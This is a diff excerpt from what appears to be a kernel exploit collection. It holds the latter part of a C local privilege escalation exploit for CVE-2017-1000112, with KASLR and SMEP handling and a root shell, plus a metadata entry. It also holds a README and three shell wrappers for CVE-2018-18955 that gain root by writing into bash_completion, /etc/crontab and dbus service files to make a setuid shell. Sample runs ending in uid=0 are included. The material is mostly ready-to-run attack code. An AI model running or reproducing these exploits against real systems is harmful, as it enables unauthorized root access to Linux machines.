MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
|
||||
if (*size == -1) {
|
||||
perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (end = start; substr[end] != '-'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xffffffffff000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (start = 0; substr[start] != '-'; start++);
|
||||
for (end = start; substr[end] != '\n'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xfffffffffff00000ul;
|
||||
r -= 0x1000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
char* syslog;
|
||||
int size;
|
||||
mmap_syslog(&syslog, &size);
|
||||
|
||||
if (strcmp("trusty", kernels[kernel].distro) == 0 &&
|
||||
strncmp("4.4.0", kernels[kernel].version, 5) == 0)
|
||||
return get_kernel_addr_trusty(syslog, size);
|
||||
if (strcmp("xenial", kernels[kernel].distro) == 0 &&
|
||||
strncmp("4.8.0", kernels[kernel].version, 5) == 0)
|
||||
return get_kernel_addr_xenial(syslog, size);
|
||||
|
||||
printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
|
||||
|
||||
struct ubuf_info {
|
||||
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
|
||||
uint64_t ctx; // void *
|
||||
uint64_t desc; // unsigned long
|
||||
};
|
||||
|
||||
struct skb_shared_info {
|
||||
uint8_t nr_frags; // unsigned char
|
||||
uint8_t tx_flags; // __u8
|
||||
uint16_t gso_size; // unsigned short
|
||||
uint16_t gso_segs; // unsigned short
|
||||
uint16_t gso_type; // unsigned short
|
||||
uint64_t frag_list; // struct sk_buff *
|
||||
uint64_t hwtstamps; // struct skb_shared_hwtstamps
|
||||
uint32_t tskey; // u32
|
||||
uint32_t ip6_frag_id; // __be32
|
||||
uint32_t dataref; // atomic_t
|
||||
uint64_t destructor_arg; // void *
|
||||
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
|
||||
};
|
||||
|
||||
struct ubuf_info ui;
|
||||
|
||||
void init_skb_buffer(char* buffer, unsigned long func) {
|
||||
struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
|
||||
memset(ssi, 0, sizeof(*ssi));
|
||||
|
||||
ssi->tx_flags = 0xff;
|
||||
ssi->destructor_arg = (uint64_t)&ui;
|
||||
ssi->nr_frags = 0;
|
||||
ssi->frag_list = 0;
|
||||
|
||||
ui.callback = func;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define SHINFO_OFFSET 3164
|
||||
|
||||
void oob_execute(unsigned long payload) {
|
||||
char buffer[4096];
|
||||
memset(&buffer[0], 0x42, 4096);
|
||||
init_skb_buffer(&buffer[SHINFO_OFFSET], payload);
|
||||
|
||||
int s = socket(PF_INET, SOCK_DGRAM, 0);
|
||||
if (s == -1) {
|
||||
perror("[-] socket()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
struct sockaddr_in addr;
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(8000);
|
||||
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
|
||||
if (connect(s, (void*)&addr, sizeof(addr))) {
|
||||
perror("[-] connect()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
|
||||
int rv = send(s, buffer, size, MSG_MORE);
|
||||
if (rv != size) {
|
||||
perror("[-] send()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int val = 1;
|
||||
rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
|
||||
if (rv != 0) {
|
||||
perror("[-] setsockopt(SO_NO_CHECK)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
send(s, buffer, 1, 0);
|
||||
|
||||
close(s);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(const char* file, char* buffer, int max_length) {
|
||||
int f = open(file, O_RDONLY);
|
||||
if (f == -1)
|
||||
return -1;
|
||||
int bytes_read = 0;
|
||||
while (true) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
if (bytes_to_read > max_length - bytes_read)
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
if (rv == -1)
|
||||
return -1;
|
||||
bytes_read += rv;
|
||||
if (rv == 0)
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
|
||||
#define LSB_RELEASE_LENGTH 1024
|
||||
|
||||
void get_distro_codename(char* output, int max_length) {
|
||||
char buffer[LSB_RELEASE_LENGTH];
|
||||
int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH);
|
||||
if (length == -1) {
|
||||
perror("[-] open/read(/etc/lsb-release)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
const char *needle = "DISTRIB_CODENAME=";
|
||||
int needle_length = strlen(needle);
|
||||
char* found = memmem(&buffer[0], length, needle, needle_length);
|
||||
if (found == NULL) {
|
||||
printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
int i;
|
||||
for (i = 0; found[needle_length + i] != '\n'; i++) {
|
||||
assert(i < max_length);
|
||||
assert((found - &buffer[0]) + needle_length + i < length);
|
||||
output[i] = found[needle_length + i];
|
||||
}
|
||||
}
|
||||
|
||||
void get_kernel_version(char* output, int max_length) {
|
||||
struct utsname u;
|
||||
int rv = uname(&u);
|
||||
if (rv != 0) {
|
||||
perror("[-] uname())");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
assert(strlen(u.release) <= max_length);
|
||||
strcpy(&output[0], u.release);
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
#define DISTRO_CODENAME_LENGTH 32
|
||||
#define KERNEL_VERSION_LENGTH 32
|
||||
|
||||
void detect_versions() {
|
||||
char codename[DISTRO_CODENAME_LENGTH];
|
||||
char version[KERNEL_VERSION_LENGTH];
|
||||
|
||||
get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
|
||||
get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
if (strcmp(&codename[0], kernels[i].distro) == 0 &&
|
||||
strcmp(&version[0], kernels[i].version) == 0) {
|
||||
printf("[.] kernel version '%s' detected\n", kernels[i].version);
|
||||
kernel = i;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
printf("[-] kernel version not recognized\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
#define PROC_CPUINFO_LENGTH 4096
|
||||
|
||||
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
|
||||
int smap_smep_enabled() {
|
||||
char buffer[PROC_CPUINFO_LENGTH];
|
||||
int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH);
|
||||
if (length == -1) {
|
||||
perror("[-] open/read(/proc/cpuinfo)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
int rv = 0;
|
||||
char* found = memmem(&buffer[0], length, "smep", 4);
|
||||
if (found != NULL)
|
||||
rv += 1;
|
||||
found = memmem(&buffer[0], length, "smap", 4);
|
||||
if (found != NULL)
|
||||
rv += 2;
|
||||
return rv;
|
||||
}
|
||||
|
||||
void check_smep_smap() {
|
||||
int rv = smap_smep_enabled();
|
||||
if (rv >= 2) {
|
||||
printf("[-] SMAP detected, no bypass available\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#if !ENABLE_SMEP_BYPASS
|
||||
if (rv >= 1) {
|
||||
printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
static bool write_file(const char* file, const char* what, ...) {
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
va_start(args, what);
|
||||
vsnprintf(buf, sizeof(buf), what, args);
|
||||
va_end(args);
|
||||
buf[sizeof(buf) - 1] = 0;
|
||||
int len = strlen(buf);
|
||||
|
||||
int fd = open(file, O_WRONLY | O_CLOEXEC);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
if (write(fd, buf, len) != len) {
|
||||
close(fd);
|
||||
return false;
|
||||
}
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void setup_sandbox() {
|
||||
int real_uid = getuid();
|
||||
int real_gid = getgid();
|
||||
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
printf("[!] unprivileged user namespaces are not available\n");
|
||||
perror("[-] unshare(CLONE_NEWUSER)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
perror("[-] unshare(CLONE_NEWUSER)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (!write_file("/proc/self/setgroups", "deny")) {
|
||||
perror("[-] write_file(/proc/self/set_groups)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
|
||||
perror("[-] write_file(/proc/self/uid_map)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
|
||||
perror("[-] write_file(/proc/self/gid_map)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
cpu_set_t my_set;
|
||||
CPU_ZERO(&my_set);
|
||||
CPU_SET(0, &my_set);
|
||||
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
|
||||
perror("[-] sched_setaffinity()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (system("/sbin/ifconfig lo mtu 1500") != 0) {
|
||||
perror("[-] system(/sbin/ifconfig lo mtu 1500)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (system("/sbin/ifconfig lo up") != 0) {
|
||||
perror("[-] system(/sbin/ifconfig lo up)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void exec_shell() {
|
||||
char* shell = "/bin/bash";
|
||||
char* args[] = {shell, "-i", NULL};
|
||||
execve(shell, args, NULL);
|
||||
}
|
||||
|
||||
bool is_root() {
|
||||
// We can't simple check uid, since we're running inside a namespace
|
||||
// with uid set to 0. Try opening /etc/shadow instead.
|
||||
int fd = open("/etc/shadow", O_RDONLY);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void check_root() {
|
||||
printf("[.] checking if we got root\n");
|
||||
if (!is_root()) {
|
||||
printf("[-] something went wrong =(\n");
|
||||
return;
|
||||
}
|
||||
printf("[+] got r00t ^_^\n");
|
||||
exec_shell();
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
printf("[.] starting\n");
|
||||
|
||||
printf("[.] checking distro and kernel versions\n");
|
||||
detect_versions();
|
||||
printf("[~] done, versions looks good\n");
|
||||
|
||||
printf("[.] checking SMEP and SMAP\n");
|
||||
check_smep_smap();
|
||||
printf("[~] done, looks good\n");
|
||||
|
||||
printf("[.] setting up namespace sandbox\n");
|
||||
setup_sandbox();
|
||||
printf("[~] done, namespace sandbox set up\n");
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
printf("[.] KASLR bypass enabled, getting kernel addr\n");
|
||||
KERNEL_BASE = get_kernel_addr();
|
||||
printf("[~] done, kernel text: %lx\n", KERNEL_BASE);
|
||||
#endif
|
||||
|
||||
printf("[.] commit_creds: %lx\n", COMMIT_CREDS);
|
||||
printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
|
||||
|
||||
unsigned long payload = (unsigned long)&get_root;
|
||||
|
||||
#if ENABLE_SMEP_BYPASS
|
||||
printf("[.] SMEP bypass enabled, mmapping fake stack\n");
|
||||
mmap_stack();
|
||||
payload = XCHG_EAX_ESP_RET;
|
||||
printf("[~] done, fake stack mmapped\n");
|
||||
#endif
|
||||
|
||||
printf("[.] executing payload %lx\n", payload);
|
||||
oob_execute(payload);
|
||||
printf("[~] done, should be root now\n");
|
||||
|
||||
check_root();
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,20 @@
|
|||
id: CVE-2017-1000112
|
||||
source: https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-1000112
|
||||
info:
|
||||
name: Linux内核是Linux基金会的开源操作系统Linux所使用的内核。
|
||||
severity: high
|
||||
description: |
|
||||
由于UFO到非UFO的路径切换,导致可被利用的内存损坏。
|
||||
scope-of-influence:
|
||||
linux_kernel <= 4.13.9
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2017-1000112
|
||||
- https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-1000112
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 7.0
|
||||
cve-id: CVE-2017-1000112
|
||||
cwe-id: CWE-362
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
tags: kernel, Privelege Escalation
|
|
@ -0,0 +1,29 @@
|
|||
<h1 align='center'>CVE-2018-18955</h1>
|
||||
|
||||
Linux local root exploit.
|
||||
|
||||
Wrapper for Jann Horn's
|
||||
[exploit](https://bugs.chromium.org/p/project-zero/issues/detail?id=1712) for
|
||||
[CVE-2018-18955](https://nvd.nist.gov/vuln/detail/CVE-2018-18955), forked from
|
||||
[kernel-exploits](https://github.com/bcoles/kernel-exploits).
|
||||
|
||||
In the Linux kernel 4.15.x through 4.19.x before 4.19.2, `map_write()`
|
||||
in `kernel/user_namespace.c` allows privilege escalation because it
|
||||
mishandles nested user namespaces with more than 5 UID or GID ranges. A
|
||||
user who has `CAP_SYS_ADMIN` in an affected user namespace can bypass
|
||||
access controls on resources outside the namespace, as demonstrated by
|
||||
reading `/etc/shadow`. This occurs because an ID transformation takes
|
||||
place properly for the namespaced-to-kernel direction but not for the
|
||||
kernel-to-namespaced direction.
|
||||
|
||||
### Usage
|
||||
|
||||
Simply run one of the shell
|
||||
scripts depending on the targeted exploitation technique.
|
||||
|
||||
### Disclaimer
|
||||
|
||||
Running unathorized attacks to public or private servers is illegal. The
|
||||
content of this repository is for educational purposes only and no
|
||||
responsibility will be taken by the authors in case of ill use of the
|
||||
provided material.
|
|
@ -0,0 +1,103 @@
|
|||
#!/bin/sh
|
||||
# wrapper for Jann Horn's exploit for CVE-2018-18955
|
||||
# uses bash_completion technique
|
||||
# ---
|
||||
# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.bash_completion.sh
|
||||
# [*] Compiling...
|
||||
# [*] Writing payload to /etc/bash_completion.d/subuid ...
|
||||
# [.] starting
|
||||
# [.] setting up namespace
|
||||
# [~] done, namespace sandbox set up
|
||||
# [.] mapping subordinate ids
|
||||
# [.] subuid: 165536
|
||||
# [.] subgid: 165536
|
||||
# [~] done, mapped subordinate ids
|
||||
# [.] executing subshell
|
||||
# [*] Waiting for root user to login ...
|
||||
# [+] Success:
|
||||
# -rwsrwxr-x 1 root root 8384 Oct 4 13:46 /tmp/sh
|
||||
# [*] Cleaning up...
|
||||
# [*] Launching root shell: /tmp/sh
|
||||
# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id
|
||||
# uid=0(root) gid=0(root) groups=0(root),1001(test)
|
||||
|
||||
rootshell="/tmp/sh"
|
||||
bootstrap="/etc/bash_completion.d/subuid"
|
||||
|
||||
command_exists() {
|
||||
command -v "${1}" >/dev/null 2>/dev/null
|
||||
}
|
||||
|
||||
if ! command_exists /usr/bin/newuidmap; then
|
||||
echo '[-] newuidmap is not installed'
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if ! command_exists /usr/bin/newgidmap; then
|
||||
echo '[-] newgidmap is not installed'
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if ! test -w .; then
|
||||
echo '[-] working directory is not writable'
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[*] Compiling..."
|
||||
|
||||
if ! gcc subuid_shell.c -o subuid_shell; then
|
||||
echo 'Compiling subuid_shell.c failed'
|
||||
echo 'Using precompiled binary'
|
||||
cp bin/subuid_shell .
|
||||
|
||||
if [ $? -ne 0 ]
|
||||
then
|
||||
echo "Could not copy precompiled binary"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
if ! gcc subshell.c -o subshell; then
|
||||
echo 'Compiling gcc_subshell.c failed'
|
||||
echo 'Using precompiled binary'
|
||||
cp bin/subshell .
|
||||
|
||||
if [ $? -ne 0 ]
|
||||
then
|
||||
echo "Could not copy precompiled binary"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
if ! gcc rootshell.c -o "${rootshell}"; then
|
||||
echo 'Compiling rootshell.c failed'
|
||||
echo 'Using precompiled binary'
|
||||
cp bin/rootshell "${rootshell}"
|
||||
|
||||
if [ $? -ne 0 ]
|
||||
then
|
||||
echo "Could not copy rootshell to '${rootshell}'"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
echo "[*] Writing payload to /etc/bash_completion.d/subuid ..."
|
||||
|
||||
echo "echo 'if [[ \$EUID -ne 0 ]]; then exit; fi; /bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}; /bin/rm ${bootstrap}' > ${bootstrap}" | ./subuid_shell ./subshell
|
||||
|
||||
echo "[*] Waiting for root user to login ..."
|
||||
while [ ! -u "${rootshell}" ];
|
||||
do
|
||||
sleep 15;
|
||||
done
|
||||
|
||||
echo '[+] Success:'
|
||||
/bin/ls -la "${rootshell}"
|
||||
|
||||
echo '[*] Cleaning up...'
|
||||
/bin/rm subuid_shell
|
||||
/bin/rm subshell
|
||||
|
||||
echo "[*] Launching root shell: ${rootshell}"
|
||||
$rootshell
|
||||
|
|
@ -0,0 +1,118 @@
|
|||
#!/bin/sh
|
||||
# wrapper for Jann Horn's exploit for CVE-2018-18955
|
||||
# uses crontab technique
|
||||
# ---
|
||||
# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.cron.sh
|
||||
# [*] Compiling...
|
||||
# [*] Writing payload to /tmp/payload...
|
||||
# [*] Adding cron job... (wait a minute)
|
||||
# [.] starting
|
||||
# [.] setting up namespace
|
||||
# [~] done, namespace sandbox set up
|
||||
# [.] mapping subordinate ids
|
||||
# [.] subuid: 165536
|
||||
# [.] subgid: 165536
|
||||
# [~] done, mapped subordinate ids
|
||||
# [.] executing subshell
|
||||
# [+] Success:
|
||||
# -rwsrwxr-x 1 root root 8384 Nov 21 19:47 /tmp/sh
|
||||
# [*] Cleaning up...
|
||||
# [!] Remember to clean up /etc/crontab
|
||||
# [*] Launching root shell: /tmp/sh
|
||||
# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id
|
||||
# uid=0(root) gid=0(root) groups=0(root),1001(test)
|
||||
|
||||
rootshell="/tmp/sh"
|
||||
bootstrap="/tmp/payload"
|
||||
|
||||
command_exists() {
|
||||
command -v "${1}" >/dev/null 2>/dev/null
|
||||
}
|
||||
|
||||
if ! command_exists /usr/bin/newuidmap; then
|
||||
echo '[-] newuidmap is not installed'
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if ! command_exists /usr/bin/newgidmap; then
|
||||
echo '[-] newgidmap is not installed'
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if ! test -w .; then
|
||||
echo '[-] working directory is not writable'
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[*] Compiling..."
|
||||
|
||||
if ! gcc subuid_shell.c -o subuid_shell; then
|
||||
echo 'Compiling subuid_shell.c failed'
|
||||
echo 'Using precompiled binary'
|
||||
cp bin/subuid_shell .
|
||||
|
||||
if [ $? -ne 0 ]
|
||||
then
|
||||
echo "Could not copy precompiled binary"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
if ! gcc subshell.c -o subshell; then
|
||||
echo 'Compiling gcc_subshell.c failed'
|
||||
echo 'Using precompiled binary'
|
||||
cp bin/subshell .
|
||||
|
||||
if [ $? -ne 0 ]
|
||||
then
|
||||
echo "Could not copy precompiled binary"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
if ! gcc rootshell.c -o "${rootshell}"; then
|
||||
echo 'Compiling rootshell.c failed'
|
||||
echo 'Using precompiled binary'
|
||||
cp bin/rootshell "${rootshell}"
|
||||
|
||||
if [ $? -ne 0 ]
|
||||
then
|
||||
echo "Could not copy rootshell to '${rootshell}'"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
echo "[*] Writing payload to ${bootstrap}..."
|
||||
|
||||
echo "#!/bin/sh\n/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}" > $bootstrap
|
||||
/bin/chmod +x "${bootstrap}"
|
||||
|
||||
echo "[*] Adding cron job... (wait a minute)"
|
||||
|
||||
echo "echo '* * * * * root ${bootstrap}' >> /etc/crontab" | ./subuid_shell ./subshell
|
||||
sleep 60
|
||||
|
||||
if ! test -u "${rootshell}"; then
|
||||
echo '[-] Failed'
|
||||
/bin/rm "${rootshell}"
|
||||
/bin/rm "${bootstrap}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo '[+] Success:'
|
||||
ls -la "${rootshell}"
|
||||
|
||||
echo '[*] Cleaning up...'
|
||||
/bin/rm "${bootstrap}"
|
||||
/bin/rm subuid_shell
|
||||
/bin/rm subshell
|
||||
|
||||
if command_exists /bin/sed; then
|
||||
echo "/bin/sed -i '\$ d' /etc/crontab" | $rootshell
|
||||
else
|
||||
echo "[!] Manual clean up of /etc/crontab required"
|
||||
fi
|
||||
|
||||
echo "[*] Launching root shell: ${rootshell}"
|
||||
$rootshell
|
||||
|
|
@ -0,0 +1,162 @@
|
|||
#!/bin/sh
|
||||
# wrapper for Jann Horn's exploit for CVE-2018-18955
|
||||
# uses dbus service technique
|
||||
# ---
|
||||
# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.dbus.sh
|
||||
# [*] Compiling...
|
||||
# [*] Creating /usr/share/dbus-1/system-services/org.subuid.Service.service...
|
||||
# [.] starting
|
||||
# [.] setting up namespace
|
||||
# [~] done, namespace sandbox set up
|
||||
# [.] mapping subordinate ids
|
||||
# [.] subuid: 165536
|
||||
# [.] subgid: 165536
|
||||
# [~] done, mapped subordinate ids
|
||||
# [.] executing subshell
|
||||
# [*] Creating /etc/dbus-1/system.d/org.subuid.Service.conf...
|
||||
# [.] starting
|
||||
# [.] setting up namespace
|
||||
# [~] done, namespace sandbox set up
|
||||
# [.] mapping subordinate ids
|
||||
# [.] subuid: 165536
|
||||
# [.] subgid: 165536
|
||||
# [~] done, mapped subordinate ids
|
||||
# [.] executing subshell
|
||||
# [*] Launching dbus service...
|
||||
# Error org.freedesktop.DBus.Error.NoReply: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken.
|
||||
# [+] Success:
|
||||
# -rwsrwxr-x 1 root root 8384 Jan 4 18:31 /tmp/sh
|
||||
# [*] Cleaning up...
|
||||
# [*] Launching root shell: /tmp/sh
|
||||
# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id
|
||||
# uid=0(root) gid=0(root) groups=0(root),1001(test)
|
||||
|
||||
rootshell="/tmp/sh"
|
||||
service="org.subuid.Service"
|
||||
|
||||
command_exists() {
|
||||
command -v "${1}" >/dev/null 2>/dev/null
|
||||
}
|
||||
|
||||
if ! command_exists /usr/bin/dbus-send; then
|
||||
echo '[-] dbus-send is not installed'
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if ! command_exists /usr/bin/newuidmap; then
|
||||
echo '[-] newuidmap is not installed'
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if ! command_exists /usr/bin/newgidmap; then
|
||||
echo '[-] newgidmap is not installed'
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if ! test -w .; then
|
||||
echo '[-] working directory is not writable'
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[*] Compiling..."
|
||||
|
||||
if ! gcc subuid_shell.c -o subuid_shell; then
|
||||
echo 'Compiling subuid_shell.c failed'
|
||||
echo 'Using precompiled binary'
|
||||
cp bin/subuid_shell .
|
||||
|
||||
if [ $? -ne 0 ]
|
||||
then
|
||||
echo "Could not copy precompiled binary"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
if ! gcc subshell.c -o subshell; then
|
||||
echo 'Compiling gcc_subshell.c failed'
|
||||
echo 'Using precompiled binary'
|
||||
cp bin/subshell .
|
||||
|
||||
if [ $? -ne 0 ]
|
||||
then
|
||||
echo "Could not copy precompiled binary"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
if ! gcc rootshell.c -o "${rootshell}"; then
|
||||
echo 'Compiling rootshell.c failed'
|
||||
echo 'Using precompiled binary'
|
||||
cp bin/rootshell "${rootshell}"
|
||||
|
||||
if [ $? -ne 0 ]
|
||||
then
|
||||
echo "Could not copy rootshell to '${rootshell}'"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
echo "[*] Creating /usr/share/dbus-1/system-services/${service}.service..."
|
||||
|
||||
cat << EOF > "${service}.service"
|
||||
[D-BUS Service]
|
||||
Name=${service}
|
||||
Exec=/bin/sh -c "/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}"
|
||||
User=root
|
||||
EOF
|
||||
|
||||
echo "cp ${service}.service /usr/share/dbus-1/system-services/${service}.service" | ./subuid_shell ./subshell
|
||||
|
||||
if ! test -r "/usr/share/dbus-1/system-services/${service}.service"; then
|
||||
echo '[-] Failed'
|
||||
/bin/rm "${rootshell}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[*] Creating /etc/dbus-1/system.d/${service}.conf..."
|
||||
|
||||
cat << EOF > "${service}.conf"
|
||||
<!DOCTYPE busconfig PUBLIC
|
||||
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
|
||||
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
|
||||
<busconfig>
|
||||
<policy context="default">
|
||||
<allow send_destination="${service}"/>
|
||||
</policy>
|
||||
</busconfig>
|
||||
EOF
|
||||
|
||||
echo "cp ${service}.conf /etc/dbus-1/system.d/${service}.conf" | ./subuid_shell ./subshell
|
||||
|
||||
if ! test -r "/etc/dbus-1/system.d/${service}.conf"; then
|
||||
echo '[-] Failed'
|
||||
/bin/rm "${rootshell}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[*] Launching dbus service..."
|
||||
|
||||
/usr/bin/dbus-send --system --print-reply --dest="${service}" --type=method_call --reply-timeout=1 / "${service}"
|
||||
|
||||
sleep 1
|
||||
|
||||
if ! test -u "${rootshell}"; then
|
||||
echo '[-] Failed'
|
||||
/bin/rm "${rootshell}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo '[+] Success:'
|
||||
/bin/ls -la "${rootshell}"
|
||||
|
||||
echo '[*] Cleaning up...'
|
||||
/bin/rm subuid_shell
|
||||
/bin/rm subshell
|
||||
